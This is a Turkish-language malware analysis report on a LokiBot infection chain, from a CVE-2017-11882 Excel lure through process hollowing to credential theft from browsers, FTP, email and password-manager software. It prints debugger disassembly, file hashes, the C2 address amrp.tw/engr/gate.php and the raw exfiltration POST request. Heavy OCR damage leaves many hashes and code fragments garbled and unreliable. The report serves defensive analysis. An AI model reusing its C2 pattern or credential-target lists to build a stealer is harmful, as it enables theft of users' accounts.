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Girig

Loki PWS ve Loki-bot olarak da bilinen LokiBot, kullanici adlari, sifreler,
kripto para clzdanlarive diger kimlik bilgileri gibi hassas bilgileri calmak
icin Trojan zararli yazilimini kullanmaktadir.

Lokibot trojan kotd amach yazilimi ilk olarak 2015 vyilinda ortaya
cikmistir ve virtsli Windows sistemlerine bir arka kapi olusturmanin bir
yolu olarak siber suclular arasinda c¢ok populer olmaya devam
etmektedir. Tarayici ve masaustl etkinligini izleyen bir keylogger
kullanarak kurbanlardan kullanici adlari, sifreler, banka bilgileri ve kripto
para birimi ctzdanlarinin icerikleri dahil olmak UGzere hassas bilgileri
calan bir kotd amacli yazilim ailesidir.

LokiBot'un ana Ozelligi hassas verileri kaydetmektir. Bu davranis, Truva
atl turd virtslerde cok yaygindir. LokiBot, kaydedilen oturum agcma
bilgilerini / parolalari toplar (cogunlukla web tarayicilarinda) ve
kullanicilarin etkinliklerini strekli olarak izler (6rnegin, tus vuruslarini
kaydetme). Kaydedilen bilgiler, LokiBot'un gelistiricileri tarafindan
kontrol edilen uzak bir sunucuya aninda kaydedilir.

Kotu niyetli siber aktorler genellikle LokiBot'u Windows ve Android
isletim sistemlerini hedeflemek ve kotd amach yaziimi e-posta,
phishing web siteleri, metin ve diger 6zel mesajlar yoluyla dagitmak icin
kullanir.
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Ozet

Explorer.exe tarafindan baslatilan vbc.exe kendi icerisinde DLL
dosyasini calistinr ve bu DLL dosyasi icerisindeki Shellcode, .exe
dosyasini ¢ézUmleyip Process Hollowing teknigi kullanarak vbc.exe
surecini tekrar bu ¢co6zimlenmis exe ile calistirmaktadir. Calistirilan exe
dosyasi ise kendi kaynaklarindaki asil zararli islemleri gerceklestiren exe
dosyasini calistirir.

Zararh; guncel tarayicilar, FTP programlari, e-posta programlari, sifre
yonetici programlari, hatirlaticilar ve not alma programlari gibi bircok
yazilimi kontrol edip kullanici bilgilerini elde ederek bir sunucuya
aktarir.

Asagidaki sekilde zararlinin kurban sistem Uzerindeki davranis grafigi
gosterilmistir.

excel W N
"dosyas1 4 ox5).dll g
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Excel Dokiiman Analizi

Zararlinin MD5, SHA-1 ve SHA-256 bilgileri asagidaki tabloda vyer

almaktadir.

Excel dosyasi

66CD456EC5D2B4FB683BEF3FOBDC244B

3839FOF7A1ABA6904C371C40933A5E410216E51D

Excel dokiman
gizlenmektedir.

10
D ] Microsoft

2 Office

This document is
[7) protected

icerisindeki

Enabe Editing

DC72AB50D5511E8EF0723CC3BEB6FAFADDF30D8C1FBD21B7F4D7808B827E37D

korumasi
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i Kayt Defteri Dazenleyicisi

Dosya Diazen Gérdndm  Sik Kullanilanlar  Yardim

o

Defaulticon
DocObject
HTML Handler
Insertable
protocol
a- ] shell
Edit
New
OnenotePrintto
a- ), Open
command
ddeexec
OpenAsReadOnly
Print

+. )| Printto

Word Picture
Wierd Dick e

m
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Ad Tur Veri
ab] (Varsayilan) REG_SZ "C:\Program Files (<86]\Microsoft Office\Officel2\.
25) command REG_MULTLSZ

Bilgisayar\HKEY_CLASSES_ROOT\Word.DocumentMacroEnabled.12\shell\Open\command

. [RBXCELEXE
. [ EXCELEXE
. [ EXCELEXE

[

i

i

i

i

o

.. [% EXCELEXE
. [ EXCELEXE
.. [ EXCELEXE
.. [ EXCELEXE
. [ EXCELEXE
(% EXCEL.EXE
... [3EXCELEXE
.. [ EXCELEXE
. [ EXCELEXE
.. [ EXCELEXE
. [ EXCELEXE
... [% EXCELEXE
... [3EXCELEXE
.. [ EXCELEXE
.. [ EXCELEXE
.. [% EXCELEXE
. [ EXCELEXE
.. [ EXCELEXE
.. [ EXCELEXE
. [ EXCELEXE
.. [ EXCELEXE
. [ EXCELEXE
.. [ EXCELEXE
. [ EXCELEXE
... [ EXCELEXE

248 @ RegOpenkey
248 ﬁRegOuery‘u"alue
245 @ReqOpenkey

248 @ RegQuerykey
248 @ RegOpenkey
248 @ RegQuenKey
248 @ RegOpenkey
248 @ RegQuenyKey
243 @ ReqQuenyKey
248 @ RegOpenkey
248 ﬁRegOuery\«"alue
248 @ RegClosekey
248 @ ReqCloseKey
248 @ RegOpenkey
245 @ReqOpenkey
248 @ RegSetinfokey
248 @ ReqQuenyKey
248 @ RegQuenKey
248 @ RegOpenKey
248 @ RegQuenyKey
248 @ RegOpenkey
248 @ RegQuenKey
248 @ RegQuenyKey
248 @¥ReqOpenkey
248 ﬁRegOuery‘u"alue
248 @%ReqCloseKey
248 @ RegClosekey
245 @ ReqCloseKey

HKCUMSoftware\Classes \MIM E"-.Da‘tlabasle:"-.Corrterd Type'application.vnd ms-word document macroEnabled. 12
HKCRYMIME"DatabaseContert Typeapplicationvnd ms-word document macroEnabled. 12" Extension
HKCUMSoftware\Classes \Word. Document MacroEnabled . 12

... [ EXCEL.EXE 243 ﬁRegOpenKey HKCR“Word. Document MacroEnabled. 12
... [ EXCELEXE 248 ﬁRegSeﬂnfDKey HKCR"Word. Document MacroEnabled. 12
. (3 EXCELEXE 243 ﬁRegQueryKey HKCR“Word. Document MacroEnabled. 12

HKCR\Word. DocumentMacroEnabled. 12
HKCUMSoftware'\Classes \Word. Document Macro Enabled. 12\CLSID
HKCR\Word. DocumentMacroEnabled. 12
HKCR\Word. Document MacroEnabled . 12\CLSID
HKCR\Word. Document MacroEnabled . 12\CLSID
HKCR“Word. Documert MacroEnabled 124CLSID
HKCUMSoftware'\Classes \Word. Document Macro Enabled. 12\CLSID
HKCR“Word. Document Macro Enabled . 124CLS 1D Default)
HKCR\Word. Document MacroEnabled . 12\CLSID
HKCRYWord. Document MacroEnabled. 12
HKCUSoftware'\Classes Word. Document MacroEnabled. 12
HKCR"Word Document MacroEnabled. 12
HKCR\Word. DocumentMacroEnabled. 12

“WVord. Document MacroEnabled. 12
‘\Word. DocumentMacroEnabled. 12
' Software"Classes " Word . Document MacroEnabled. 124CLSID
HKCR\Word. DocumentMacroEnabled. 12
HKCR\Word. Document MacroEnabled . 12\CLSID
HKCR\Word. Document MacroEnabled . 12\CLSID
HKCR\Word. Document MacroEnabled . 12\CLSID
HKCUMSoftwareClasses Word . Document MacroEnabled . 12\CLSID
HKCR“Word. Documert MacroEnabled . 124CLSIDY{Default)
HKCR“Word. Documert MacroEnabled . 124CLSID
HKCR\Word. DocumentMacroEnabled. 12
HKCR'WMIME"\Databass"Contert Type'application.vnd.ms-word document. macroEnabled. 12

Showina 66 of 142,690 events (0.0%)

Backed by virtual memory

Zararlinin Office Gzerinde “CVE - 2017 - 11882” kodlu exploit ile Office
makrolarini otomatik etkinlestirdigi ve kurbanin iznine gerek kalmadan

zararli islemlerine basladigl tespit edilmistir.

Bu exploiti gerceklestirmek icin kullandigi zararlh komutlar asagida
listelenmistir;

=KAT("Word.DocumentMacroEnabled.12";"")

=Sheet3!A25("Word.DocumentMacroEnabled.12";"")
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CVE-2017-11882 , Microsoft Office'teki (Office 360 dahil) 17 yillik bir
bellek  bozulmasi  sorunudur. Basariyla istismar edildiginde,
saldirganlarin, kotd amacli bir belge acildiktan sonra kullanici etkilesimi
olmadan bile savunmasiz bir makinede uzaktan kod yurdtilmesine izin
verebilir. Kusur, Microsoft Office'te belgelere Nesne Baglama ve
Gomme (OLE) nesneleri ekleyen veya dizenleyen bir bilesen olan
Denklem Duzenleyicisinde (EQNEDT32.EXE) bulunur.

Loki ailesi, Dosya Aktarim Protokoll (FTP) istemcilerinden hesap
bilgilerinin yani sira c¢esitli web tarayicilarinda ve kripto para
clzdanlarinda saklanan kimlik bilgilerini ¢alabilir . Loki ayrica Yapiskan
Notlar ve cevrimici Poker oyun uygulamalarindan veri toplayabilir.

Bu islemlerden sonra vbc.exe, Excel dokimaninda kullanilan exploit
kullanilarak indirilip calistirilmaktadir.

vbc.exe Analizi

Dosya Adi vbc.exe

MD5 196192AE86384D7FFAOEATE43EC7D640
SHA-1 3CD19040F22DFA27DD242AFE75D6B05B09778718
SHA-256 b30a4fd92717a14fde969110f3113859a9c9f4e0995h9779a4464abf1c818cd6

FFi5 D4704000 ca11 dword ptr ds [<&Crea:eF1'IeA>] : : : ) - : -~ = -
c2 0c00 = FPU Gizle
55 IDLIS" ebp EAX  FFFFFFF
BEED L= CTHET , . EEX 0000000
56 push esi:"C:\\Users\\zorro\\AppData\'\Loca Temp'\nsp32D6. tmpi\zhxpwnkb2xox5j.d ECx 0000000
B8B75 08 mov e ;dword ptr ss:[ebp+s] ]
57 push ed EDX 0026017
6A 64 push &4 EEP ggiéggg
SF pop edi ESE 8
4F dec edi ESI  00409C1
C745 08 GE736100 mov_dword ptr ss:[febp+a],0x00 00001 EDI 0040441
FF15 9C704000 call \:Im:lr\:l ptr ds <&GetT1ckCDunt>
64 1A push EIP 0040568
3302 xor edx edx
59 pop ecx
F7F1 div ecx EEL'}GSPF 2002
56 push esi esi:"C:\\Users\\zorro‘\AppData\\Local\\Temp\\nsp32D6. tmp" \zhhxpwnkb2xox5j.d11 OF 0 SFO0 D
BD45 08 lea eax,dword ptr ss:[ebp+3]
6A DO push o CFo0 TFL1 I
50 push eax
FF75 OC push dword ptr ss [eh | | LastError 00
0055 0A add byte ptr 55'[e}"| Al,d1 LastStatus CO
FF15 D8704000 €all dword ptr’ ds «eﬁetTempFﬂeNameA:{
85C0 Test eax,ea G5 002E F5 0
. 75 0D jne oxooouoooooomzofa 64.405703 ES 002B DS O
B5FF test edi,edi €S 0023 33 O
-~ 75 DO jne DKDDD‘IDDDDDDDlBDfa 64.4056CA
8026 00 and byte ptr ds esi:"C:i\\Users\\zorroy\AppData\\Local \\Temp'\nsp32D6. tmpi\zhxpwnkb2xox53j.d11 ST(D) 0000000
B [ & iom 1 s d11 ST(1) 0000000
SE pop es esi:"C:\\Users\\zorro\\AppData'\Loca’ Temp' \nsp - tmpih\zhxpwnkb2xox5j. d
En pnp ey-p ﬂEzg 0000000
C2 0800 5T(32) 0000000
BECE 'nov eax, es: esi:"C:\\Users\\zorroy\AppData\Local\Temp\\nsp32D6. tmp' \zhxpwnkb2xox5j.d11 ST(4) 0000000
- EB F& jmp DxDDDQDDDDDDDBDFa—Ga.4DSEFD ST(5) 0000000
g? pus'}: e:x SFEGg 4003800
push ebp ST(73 4003800
56 push es esi:"C:\\Users\\zorro‘\AppData\\Local\\Temp\\nsp32D6. tmp" \zhhxpwnkb2xox5j.d11
f;; 30934000 gﬂgt eg““ 001 '“-'3 64.409330 4093301 "MoveFileExa”™ 2T S [
SO SRR EED ZEIE LT Piarl xB7TW_D 3 (Bo
68 CB924000 sh 4092CE: "KERNEL32.d P (;n=
EE BBO50000 CB11 0100040000000130Fa 64 4DSCDZ - | ———
LS tect edw. - Varsayilan (stdcall)
1: [esp] 0040¢
040000000130Ta-64. &CreateFileax]=<kernel32.Ccreaterilea> 2: Tespral 400
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vbc.exe calisma esnasinda nsp32D6.tmp (random dosya isimli)
adli bir dizin olusturup zhxpwnkb2xox5j.dll isimli dll dosyasini
buraya yuklemektedir.

Limer e st wmuiu e sges ooy .
FF15 D4704000 €all dword ptr ds: [<&CreateFiless] EDX 00260174
€2 0C00 ret C

EBP  O018FDEY &' \\User’s\\zar’r’a\\ADDData\\Laca]\\TM\D
55 ESE  0018F8DE  &"C:\\Users\\zorro' \\Appbata\\Local\\Temp\\gpz8ar 381
88EC ESI  00409C18 "c \\ sers\\ nnnnn \\Appbata\\Local\\Temp\\gpzsar381]
56 €si:"C2\\Users\\zorro\\AppData\\Local\\Temp\\gpz6ar 361 61mdpoky2 EDI 0040418 OX00040000000130Fa-64.0040A418
8875 08

EIP 00405686 0X0DD400000DO130fa-64.00405686

EFLAGS 00000300
ZF O PFO AF O
OF 0 SF O DFO
CFO TF1 IF1

€745 08 6E736100
FF15 9C704000

astError 00000087 (ERROR_ALREADY_EXIST:
Casestatus Co00003% (STATUS, OBJECT NAYE. COLLISTON)
esi:"Ci\\Users\\zorro\\AppData\\Local\\Tenp\\gpz8ar381]61ndpaky2

G5 0028 FS 0053
ES 0028 (g 0028
€5 0023 5 0028

push
FF75 0C push dword pt
0055 04 add_byte per

A, d1
ETTenpF11eNaneas]

FF15 08704000 a1 dvord per s gg%
85c0 est_eax, ea
75 00 J oxe DDDADDDDDDDHDF -64. 405703 ST(2)
85FF t edi sT(3)
0o i DDDADDDDDDDHDF -6, 405604 STC)
8026 00 and byte per ds: esizCx\\Users\\zorr o\ \Apppata\\Local\\Tenp\\gpzsar 361 61ndpsky? 5T(s)
p p edi sT(6)
s pop es s r0\\AppData\\Local\\Tenp 1ndpoky? sTen)
pop ebp
€2 0800 ret . x&7Taghord FFFF
6 nov esizC:\\Users\\zorro\\AppData\\Local\\Tenp\\gpz8ar 361 61ndpsky? e B (o
£ 76 b 0x00540000000130a-64. 405670 -

Varsaylan (stdcal)
o0

Dx000 1307a-64.&Createri 1eA=]=<kernel32,CreateF 1eA>

C:\Users\zorro\AppData\Local\Temp\ dizinine
gpz8ar381j61mdp9ky2 isimli Shell kod ve 38pl2h5z2dja (sifreli exe
dosyasi) olusturmaktadir. Bu dosyalarin decode islemleri daha
sonra yapilacaktir.

zhxpwnkb2xox5j.dll Dosya Analizi

zhxpwnkb2xox5j.dll

38B02C707606809973C80710A99FCDO7

B463066421440FEF4AAFBF955755237494EB14565

AIE09CD67AD4DF0184B813F1ACE7E12F9FAB16F66AB47EDF19D4584E4683CA49




gpz8ar381j61mdp9ky2 isimli dosyayi okuyarak hafiza Gzerinde decode

islemini gerceklestirmistir. Decode islemi ardindan ortaya ¢ikan zararl
kodlari yaritme islemini yapmistir.

gpz8ar381j61mdp9ky2 Analizi

gpz8ar381j61mdp9ky2

4350600ED6D76C860D1D2842D2DB75E6
824C4375A3C2AB974AF4AB5FDEAG7ACB99E12854A
9CF6B298A79BD696AFABFE4505B624CFBEBD4708D7D5063862649B3193828D02

gpz8ar381j61mdp9ky2 dosyasinda APi’ler resolving islemi ile
cozimlenmektedir. Coziimlenen API listesi asagidaki tabloda
gosterilmistir.

CloseHandle GetTempPathW ReadFile GetFileSize
LoadLibraryW GetModuleFileName VirtualFree
. - GetC dLineW
VirtualAlloc CreateFileW CreateProcessW eti-ommandie




Sifrelenmis APl'lerin decode isleminin algoritmasi

gpz8ar381j61mdp9ky2 isimli dosya, vbc.exe dosyasinin olusturmus
oldugu 38pl2h5z2dja isimli exe dosyasini okuyarak hafiza Uzerinde
decode islemi gerceklestirmektedir. Daha sonra decode ettigi dosyayi
calistirmaktadir.

38pl2h5z2dja Analizi

38pl2h5z2dja

D783D3091C054D3741DED76D7D3DAAA4
CAE04B4B083FOBOAAEO7FE4EGFA816E76FF98998

EDB4E57D256662F04AD680BDDIC5360A1A03FFA75CA45B78D8022A55E5156D
B9
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Kullandigi API'ler

CLRCreatelnstance

SafeArrayAccessData

SafeArrayCreateVektor

SizeOfResource

SafeArrayCreate

SafeArrayUnaccsesData

LockResource

FreeResource

FindResourceW

LoadResource

SafeArrayPutElement

VirtualAlloc

.Net versiyonunu kontrol ederek mscorwks.dll ve clr.dll dosyalarinin
uygun versiyonlarini olusturur.

85C
~ OF85 32860200 jne kernelsz. TEELFEDE
FF75 20 push dword sst|febp+20]
FF75 1C push dword Lebp+1C])
FF75 18 push dword febp+13]
FF75 14 push dword Lebp+14])
FF75 10 push dword f=bp+10]
FF75 0OC push dword f=bp+C)
FF75 08 push dword ptr ss:[ebp+s]
EB CDD5FFFF €all <IMP.&Createrilews
(-] leave
€2 1C00 BEE 1c
30 nop
30 nog
» BEFF mov edi,ed CreateFilew
55 push ebp
BBEC mov ebp, esp
51 push ecx
51 push ecx ecx:L"C:
FF75 08 push dword ptr ss:|[Jebp+2])
8D45 F8 lea eax,dword ptr ss:|[febp-:]
50 push eax
FF15 SOOSSF76 €all dword ptr ds:[<&Rt1InitUnicodeStri
85C0 test eax,eax
~ OFBC 3IBB&0200 i1 kernel32.7661F6CE
FF75 0C push dword ptr ss:|[jebp+Cl
8D45 F38 Tea eax,dword ptr ss:|[febp-5]

50
EE 45000000

€all kernel3z.765F40ET
test eax,eax

push eax
call kernel32.765F40E7

Windows'\Microsoft. NET\\Framework

skE | mov eal,eo ea1 Lreatert iew
6 5 push “ebp
7 BBEC mov ebp,esp
€5F 40739 1 push ecx ecxil
7ESF407A 51 push ecx ecx:L"”
FF75 08 push dword ptr ss:[ebp+s]
8D45 F8 lea eax,dword ptr ss:[ebp-s]
50 push eax
FF15 S0055F76 €all dword ptr ds: [<&Rt1Initunicodestri
85C0 test eax,eax
~ OF8C 38B60200 J1 kernel32.7661F6CE
FF75 0OC push dword ptr ss:[[ebp+Cll
8D45 F8 lea eax,dword ptr ss:[ebp-s]
L] push eax

v1.0.37054,clr.dl1 EBX
mndov.sumcrosoft NET\\Framehork\\\\\i 0.3705%\clr.d11™"

|| FPU Gizle

EAX 00000001
0DEZEESD
ECX  001BFSDC
EDX 00000010
EEP  0O1EBFGF4
ESP  0018F538
ESI  0053DE40
EDI  0O01EFEAD

EIP  7GEF4074

EFLAGS 00000
ZF 1 PF 1 AF
OF 0 SF O DF
CFO0 TF1 IF

LastError 000l
LasTsTatus cool

G5 00ZB FS 0O!
ES 002B DS 000
€5 0023 35 000

ecx:L"C: \\h1ndnv\.5\\rl|1crnsnft NET\\Framev.nrk\\\\\.i D 3?05\\mscnrv\.ks din”
d vi.

ndow Microsoft. NETY'\Framework®

FO5\\mscorwks. d1

test eax,eax

¥ UFES 32860200 jne kernel32.7661F6D6
FF75 20 push dword ptr ss:[Jebp+zo]
FF75 1C push dword
FF75 18 push dword
FF75 14 push dword
FF75 10 push dword
FF75 0OC push dword
FF75 08 push dword ptr
E& CDD5FFFF call <imp. &Cr‘eaceF1'lew>
c9 Teave
€2 1C00 EEE 1C
30 noo

38pl2h5z2dja dosyasi kaynaklarinda bulunan zararli .exe uzantili

dosyanin konumunu belirlemektedir. Konumu belirlenen dosya icin dizi
Yeri ayrilan dosyay! VirtualAlloc ile

olusturarak yer ayrilmaktadir.
calistirmaktadir,
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1.exe Dosyasi Analizi

I Dosya Adi 1.exe Dosyasi I

MD5 AFOFA9C12A40FEA1204A2F96 A84DCC5A
SHA-1 f9ee6408186287dfeab74686df8ac710efdd352e

SHA-256 be70ff2caf7406a54ea55d51ad873918968cad1d14058171e049935196739c2¢

Kullandigi APY'lar;

OpenTreadToken GetProcAdrress WriteFile
OpenProcess Allocateandinitializesi RtlGetVersion
OpenTokenInformation CryptAch?i reContext | GetSystemTimeasFiletim
LookupAccountsidW CryptImeortKey GetUszrname

CloseHandle CryptSetKeyParam GetComputerName
NetUserGetinfo CryptDecrypt GetAddinfo
CheckTokenMemberShi | CryptReleaseContext GetModuleFilenew
P
Freesid SetFilePointer Getfileattributes




1.exe dosyasinda olusturulan mutex’in ismi MD5 algoritmasi kullanarak
sifrelenmektedir.

Zararl cesitli tarayicilari kontrol etmekte ve bu tarayicilarda bulunan
giris verilerine ulasmaktadir. Bu tarayicilar asagida verilen tabloda
listelenmistir;

Dragon Titan Browser Chromodo Chrome SxS
ChromePlus Torch Superbird Orbitum
Nichrome Yandex Browser Coowon QupZilla
RockMelt Epic Privacy Mustang Browser Lunascape
Browser
Spark CocCoc Browser 360 Browser
Iridium
Chromium Vivaldi Citrio Netscape Mozilla

y



00407882 <ikinciexe - kopya.sub_4078a2»

xor eax e
Tea edi,dword ptr ss:[ebp-szo]

push 7

pop edx

mov e, ed

mov esi, 1k1nc1exe - Kopya.415524 § 41E524:1L"Camodo’\Dragon”

rep moy:

Yea zai ,dwnr‘d prr ss:[ebp-ans

mov esi,ikinciexe - kopya.415540 ; 4155401L"Map]estudiayChromerlus"

Ror ead,eax
lea edi,dword per ss:[ebp-3F0]
rep moved
moy e ,edx
movsw
mov word ptr ss:febp-3czll, ax
Tea edi,dword p bp’3co]
mow 251, 1k1nc1axe - koaya 415570 3 415570:L"Googler\chrome"
rep movsd
lea edi,dword prr ss:[ebp-324]
mov esi,ikinciexe - kopya.41559C ; 41E58CILUNichrome”

o

xor eax,eax
lea edi,dword ptr ss:llebp-320[

movsw
Tea edi,dword per ebp-37E]

WMoy Esigikinciexe - kopya.4155A0 ; 4155AD:L"RockMelt”
rep stosd
mov ECx e
stosw
®or eax,
Tea i saward ptr
movs
movsd
movs d
movs d

e
Tea edi,dword ptr ss:[ebp-34E]

mov esi,ikinciexe - koaya 4155B4 ; 4155B4:L"spark"
rep stos

pop ecx

stasw

xor eax e

Tea edi,dword prr ss:[ebp-320]

movsd

movs d

movs d

Tea edi,dword per s 24]

mov esiyikinciexe - kupya 4155¢0 3 4155C0:L"Chromium’
rep stosd

Tea =di,dword ptr

lebp-300]

ea edi,dword ptr ss:[ebp-zE€]
mow esiikinciexe - kopya.415504 ; 415504:L"Titan erowser”
rep stof

mov ecxed

or eax eax
Tea edi,dward prr ss:[febp-200]
rep movsd
Tea edidword prr ss:[febp-z64]
moy esi,ikincisxe - kopya.d155F0 ; 4185F0:L"Torch”
stosd
xor ebix,ebx
£

eax,eax

Tea edi,dword ptr ss:[ebp-2A0]
d

mavsd

sd
Tea edi,dword pur ss:lebp-294]

mov 51, ilinciexe - kopya. 4155FC 3 4155FC:L"vandexy\randexsrows er”
rep stos

pop ecx

Je2 ediadword ptr so:febpo2rol 5 [=bp-270l:L". 3567

mov dword ptr ss:febp-246],ebx
Tea edi,dword ptr ss:[ebp-240]

mow ward ptr ocs:ebp-zd2],bx

mov esi,ikinciexe - kopya 415626 3 415628:L"Epic Privacy Browser”
rep mowi

mov ec ,edx

push 5

oS

moy dword per s tliebp_zacll sbx

Tea edi,dword prr ss:ebp-:

ot word por st Hebptich e

mov es1,ikinciexe - kopya 415854 § 415654:L"COCCOCY\Brams e

movs
Tea edidword prr ss:febp-1r2])
mov esiikinciexe - kopya. 415674 ; 415674:L"Vivaldi”

Tea em Jwerd pre ss:ebp-1ea]

Tea edi,dward prr ss:[febp-100]
mov esi,ikinciexe - kopya.415é84 ; 415684:L"ComododhChromodo”
rep stos

mev ecx,edx

Tea edi dward prr ss:febp-160]

Tea edi,dword ptr ss:febp-190]
may es1,ikincizce - kopya. 415EAd § 4156adiL"Superbird”

Yukarida verilen fotografta kontrol edilen tarayicilardan bazilari
gosterilmistir.




Users\\zorro\\Appoata\\Local\\Map1estudio\\Chrl

oo40288%

e , | ersayien (stdcal)
~Tespra] 060000A

Ornek olarak burada ChromePlus adli tarayicinin Login Data bilgileri kontrol
edilmektedir.

L"C:\\Users\\zorro\\Appata\\Roaming\\3:
i

. EB ABFFFFFF
. 84 0

G <ikinciexe - kopya.sub_402B4E> |
add esp,C

fkinciexe - kopya.00402885

cmp_dword p
e ikincie
ord

Lasterror 0000030 (ERROR_NO_TOKEN)

" T L
==&
@Q-\ . ¥ Bilgisayar » Verel Disk (C:) » Kullaicilar » zorro b AppData » Roaming » 33DCEL
Dizenle +  Kitaplgaekle ¥ Bununlapaylas v Yaz  Yeniklasar = - [ @
‘¢ Sik Kullanilanlar Ad : Degistirme tarihi Tar Boyut
& Karsidan Yiklemeler || | 1F197C.Ick 12.05.2021 01:05 LCK Dosyasi 0KB

B Masasti

=] Son Yerler

4 Kitsphiklar

[F Belgeler
& Muzik

Zararli 33DCE1 adinda bir dizin olusturmaktadir. Olusturdugu bu dizinin
icerisine 1F197C.Ick isimli bir dosya olusturmaktadir. Daha sonra
olusturdugu bu dosyanin uzantisini .exe olarak degistirip kendisini bu

dosyaya kopyalamaktadir.




push &
66:8985 AEFEFFF{mov word ptr s5:febp-152],ax

vaultcl

5F0000

L'vaultcli.dll

vaultcli, 73570000

<ikinciexe - kopya.sub_402CAd>

ERROR_PATH_NOT_FOUND)
STATUS_OBJECT. NOT_FOUND!

5 0028 FS 0053
ES 0028 DS 0028

vaultcli.dil modualint dinamik olarak yiklemektedir. Bu islemi yaparak
kayitli kimlik bilgilerini toplayip ice aktararak, Kimlik Bilgisi Kasas! istemci
Kitaplgi tarafindan saglanan islevleri kottye kullanir.

T R LT TP —
OV €51, eax

|test esi,es e
ikinciexe = kopya. 402846

h dword ptr o153

h

n dword per

¥ dword ptr ds: [<RGETPrOCESSHEAps]

ds: [<aheapFrees]

£\\Users\\zorro\\appoata\ \Roaming

ikinciexe - Kopya. 00402885

RROR_FILE_NOT_FOUND)
NAVE_NOT_FOUND)

.purple yapilandirma dizinindeki accounts.xml| dosyasinda bulunan
parolalar dahil sistemde bulunan hesaplarla ilgili tim bilgileri ele

gecirmektedir.

W Gword ptr d.:[<AREVATIocateHeng]

ora ptr Sifessich

Kinciexe - kopya.seb_40284E>

Gword ptr :s:febp.c)
word ptr o:[4SFERD ,cax
tword pre ds: [49FE20] 34 i

. Sub_403165>

2 TRInciexe - kopya.00402895

Progran FIPShel1\\ ripshel. 5

kinciexe

oy



Belirli

FTP, SSH, Telnet gibi

sunucu programlari,

veri tabani

programlarini, sifre yoneticisi programlarini, yedekleme yazilimlarini,
eklentileri, bilgisayar ve dosya yoneticisi programlarini kontrol etmekte

ve bilgileri ele gecirmektedir.

Bu programlar su sekildedir;

FTPShell Notepad++ 0Zone3D-MyFTP FTPBox
FTP Now NexusFile NetSarang-xftp
Sherrod FTP
SftpNetDrive AbleFTP7-14 JasFTP7-14
EasyFTP
Cyberduck LinasFTP iterate_ Gmbh
Automize7-14
FTPInfo FileZilla Staff-FTP
fullsync
Fastream ALFTP DeluxeFTP FTPGetter
NETFile
GoOFTP
WS _FTP Ipswitch ExpanDrive Steed
FlashFXP NovaFTP NetDrive GHISLER
SmartFTP Far Manager mSecure Syncovery
FreshFTP BitKinex ultraFXP Odin Secure FTP
Expert Fling ClassicFTP WIinFTP Client FTPIist
32BitFtp

P, T S

M
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Kontrol ettigi yazilim, baglanti ve sifre ydneticisi programlari;

Syslnternals Hex-Rays VMware
QtProject Wow6432node ODBC
Kitty Putty Epass
KeePass Password My RoboForm Data 1Password
Winbox

FTP programlarinin yani sira yukaridaki fotograflarda verilen poker
oyunlarindan da veri toplamaktadir. Bu programlar su sekildedir;

Full Tilt Poker

Poker Stars

y



Belirli e-posta programlarinda bulunan bilgileri ele gecirir. Bu
programlar asagida listelenmistir;

Foxmail Pocomail Incredimai | GmailNotifierPr
I 0
DeskSoft\\CheckMai | Softwarenetz\\Mailin | OperaMail Mailbox
I g
yMail yMail2 Trojita TrulyMail

inciese - Kopya - PIDBAC - Modil kinciese - kopya - Thrcad: Ana em B7C - 132453
Doty Gornm Debug Gz Edemer Sk Seqmeer Yardm

Not alma programlari, hatirlaticilar, yapilacaklar listesi vb. amacla
kullanilan programlarda bulunan bilgileri almaktadir.

To-Do DeskList

StickyNotes

Stickies

NoteFly

Notezilla

4




Dosya Gornum  Debug 7 EMentler  SkKulandaniy  Segenedder  Yardm

L] o xn ERE
" baiza | (L) ¥gn Caprien | =0 s KomuDosyas | @) semboler | <2 kayrak Referansar | W IsParcackian | @ Tummedsr | ¢ 12
AT

N

OE Hu tH 9

Bou | ®oa | iemix
=

Sub_402CA4>

6:6985 ACFEFFF,
02CE DD BCFEFFEF
se op eax

0000007A (ERROR_TNSUFFICTENT_B

I{ I8 inciexe - Kopya - PID: BAC - Moduk ikinciexe - kopya - Thread: Ana lslem BFC - x32dbg

=+ Fru sizie

TKinciexe - Kopya. 00406412

0 BO5 0.000000000000000000

0000000000000000000 K57
500000 xE

: : e
: 1000000 XE772 505 b.000000000000000000

: 0 XE7r3 505 0. 0000000000000

+| oioeais 5 05000000 3

+| 00406434 STET) 00000000000000000000 XE7FT Bog 0. 006005000060050000

Sunucudaki belirli kullanicilarin hesap adlarini, sifre verilerini, ayricalik
seviyelerinin bilgilerini ve kullanicinin ana dizininin yolunu almaktadir.

Network Analizi

][y Gizle

FFIt 38504100
8906

cmp cn

IKIRCTExe - Kopya. 208888

€@l ikinctexe - kopya.4028A8

H pop
< | oo404Ee push dword prr ss:febo -4
H AN Gword prr o-: [<kFreeddrInfows]
o | 004 5mp ikinciexe = kopya.408ECT
« | 004 push aword per 0]
push dword pEr oot 1
@ aword pr [<&cannect>]
cap eax, eox
004DAEAT 3ne ikifciexe - kopya. 404E83
push word ptr ds: [
M ikinciexe - kopya. 404085

pop ecx
MoV oword prr ds
push gword pi

cmp dword prr dt: ] ,ebx
16 Tkinciexe - koye. J04ECS

AT kinciexe - kopya.4026A5
pop ecx
xor eax,eax

mp ikinciexe - kopya. 404ECD

0,000000000000000000
00009000000

0000000D000000000000 x87r4 Bog 0.
00000000000000000000 X8715 Bes
0000000000 X8

050000000000

00000000000000000
000000

o

0
o.

H 00000000000000000 XE717
H X87TW_1 3 (Bog)
o] 3o404ems . inw1 3 (mod
« . " =5 &
Gword Pir (0095038 <TKINCIEXE - Kopya.Ss0CkeDs Jmcms2

kopy
- T T = C IO cocoton:

IPV4 adres ailesini ve TCP protokolind kullanarak belirli bir domain
adresine bagli soket olusturur.




http://amrp_tw/engr/gate.php adresine  baglanmaya calistigl
gozlemlenmistir.

[ Wincier - Kopys - PID: ECC - Modul: lkincisse - kopya mwmmstc g = R )
Dosys Goriniim Debug 1z Bdentier Skiulladanlar  Secenelder  Yordm 0
OE S t Wy ta

Bov | @oon | omk

S Yoo oY) [T Y rw— i ps—— g

http://amrp_tw/engr/gate.php sitesine http istegi atmaktadir. Sunucu
ise 408 time-out hatasi donmektedir.

Gonderilen istek:

"POST /engr/gate.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon;
Inferno)\r\nHost: amrp.tw\r\nAccept: /Ar\nContent-Type:
application/octet-stream\r\nContent-Encoding: binary\r\n"

Donen Yanit:

"HTTP/1.0 408 Request Time-out\r\nCache-Control: no-
cache\r\nConnection: close\r\nContent-Type:
text/htmI\r\n\r\n<htmI><body><h1>408 Request Time-
out</h1>\nYour browser didn't send a complete request in
time.\n</body></htmI>\n"




pe

Korunma Yontemleri

